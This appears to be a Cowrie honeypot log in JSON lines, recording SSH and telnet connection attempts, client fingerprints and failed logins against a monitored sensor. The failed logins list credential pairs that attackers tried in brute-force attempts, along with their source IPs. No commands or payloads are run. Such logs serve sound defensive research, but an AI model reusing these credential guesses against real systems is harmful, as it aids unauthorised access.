{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:21.876081Z","src_ip":"176.65.132.254","session":"78e68b00bc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:22.139302Z","src_ip":"176.65.132.254","session":"78e68b00bc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.59997797012329,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:23.079033Z","src_ip":"62.210.97.77","session":"587fe45ee017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:23.237797Z","src_ip":"176.65.132.254","session":"78e68b00bc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.8467960357666,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:23.842335Z","src_ip":"62.210.97.77","session":"61b7e8979ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60334,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b5021a4292","protocol":"telnet","message":"New connection: 62.210.97.77:60334 (10.17.0.5:23) [session: 53b5021a4292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:24.233172Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":46344,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ef35dbb22e3","protocol":"ssh","message":"New connection: 45.78.198.206:46344 (10.17.0.5:22) [session: 0ef35dbb22e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:24.838855Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35954,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58762329b4d","protocol":"ssh","message":"New connection: 176.65.132.254:35954 (10.17.0.5:22) [session: e58762329b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:25.897673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:25.905653Z","src_ip":"176.65.132.254","session":"e58762329b4d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:25.939311Z","src_ip":"45.78.198.206","session":"0ef35dbb22e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:25.944636Z","src_ip":"45.78.198.206","session":"0ef35dbb22e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:25.989245Z","src_ip":"176.65.132.254","session":"e58762329b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:26.245650Z","src_ip":"176.65.132.254","session":"e58762329b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.466416120529175,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:26.679688Z","src_ip":"65.60.27.33","session":"9316f8779832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.310505628585815,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:26.985618Z","src_ip":"65.60.27.33","session":"8f50e5e1c127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:27.341617Z","src_ip":"176.65.132.254","session":"e58762329b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.610031843185425,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:28.048845Z","src_ip":"62.210.97.77","session":"f9ca9f599d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60346,"dst_ip":"10.17.0.5","dst_port":23,"session":"256775d37d0f","protocol":"telnet","message":"New connection: 62.210.97.77:60346 (10.17.0.5:23) [session: 256775d37d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:28.235151Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52094,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce51a18ad47","protocol":"telnet","message":"New connection: 134.209.8.29:52094 (159.203.135.109:23) [session: 2ce51a18ad47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:28.315162Z"}
{"eventid":"cowrie.session.closed","duration":33.62387228012085,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:28.608750Z","src_ip":"62.210.97.77","session":"bd59968607f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35966,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7260fcc11dd","protocol":"ssh","message":"New connection: 176.65.132.254:35966 (10.17.0.5:22) [session: f7260fcc11dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:29.754665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:29.759814Z","src_ip":"176.65.132.254","session":"f7260fcc11dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:29.846237Z","src_ip":"176.65.132.254","session":"f7260fcc11dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:30.103786Z","src_ip":"176.65.132.254","session":"f7260fcc11dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:31.189737Z","src_ip":"176.65.132.254","session":"f7260fcc11dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminvps","password":"adminvps","message":"login attempt [adminvps/adminvps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:31.526047Z","src_ip":"45.78.198.206","session":"0ef35dbb22e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"32cd0e61069f","protocol":"telnet","message":"New connection: 134.209.8.29:52098 (159.203.135.109:23) [session: 32cd0e61069f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:32.124105Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:32.844466Z","src_ip":"45.78.198.206","session":"0ef35dbb22e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40102,"dst_ip":"10.17.0.5","dst_port":22,"session":"33965bcc905c","protocol":"ssh","message":"New connection: 176.65.132.254:40102 (10.17.0.5:22) [session: 33965bcc905c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:33.767127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:33.772007Z","src_ip":"176.65.132.254","session":"33965bcc905c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:33.856819Z","src_ip":"176.65.132.254","session":"33965bcc905c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:34.144500Z","src_ip":"176.65.132.254","session":"33965bcc905c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56070,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f1d64e07e8","protocol":"telnet","message":"New connection: 62.210.97.77:56070 (10.17.0.5:23) [session: 45f1d64e07e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:34.287720Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:35.549553Z","src_ip":"176.65.132.254","session":"33965bcc905c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab8e60b5a9b","protocol":"telnet","message":"New connection: 134.209.8.29:52488 (159.203.135.109:23) [session: 8ab8e60b5a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:35.575476Z"}
{"eventid":"cowrie.session.closed","duration":30.816569328308105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:35.617281Z","src_ip":"62.210.97.77","session":"d5bdbb844530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0875506401062,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:35.775247Z","src_ip":"62.210.97.77","session":"d099df7b24a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":23684,"dst_ip":"10.17.0.5","dst_port":22,"session":"69acbbd1b373","protocol":"ssh","message":"New connection: 94.156.152.18:23684 (10.17.0.5:22) [session: 69acbbd1b373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:36.649600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:36.655485Z","src_ip":"94.156.152.18","session":"69acbbd1b373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:36.782932Z","src_ip":"94.156.152.18","session":"69acbbd1b373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01326084136963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:36.885696Z","src_ip":"62.210.97.77","session":"e3662a156683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe3a8fdf0b9","protocol":"telnet","message":"New connection: 38.54.119.93:40848 (10.17.0.5:23) [session: ffe3a8fdf0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:37.165411Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#8VCPU32GBAMD","message":"login attempt [root/QUEENVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:37.171862Z","src_ip":"94.156.152.18","session":"69acbbd1b373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40112,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0fb270f5e74","protocol":"ssh","message":"New connection: 176.65.132.254:40112 (10.17.0.5:22) [session: c0fb270f5e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:37.864466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:37.870629Z","src_ip":"176.65.132.254","session":"c0fb270f5e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:37.954792Z","src_ip":"176.65.132.254","session":"c0fb270f5e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:38.237105Z","src_ip":"176.65.132.254","session":"c0fb270f5e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:38.305422Z","src_ip":"94.156.152.18","session":"69acbbd1b373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc289b891b9","protocol":"telnet","message":"New connection: 62.210.97.77:56078 (10.17.0.5:23) [session: 3fc289b891b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:10:38.347380Z"}
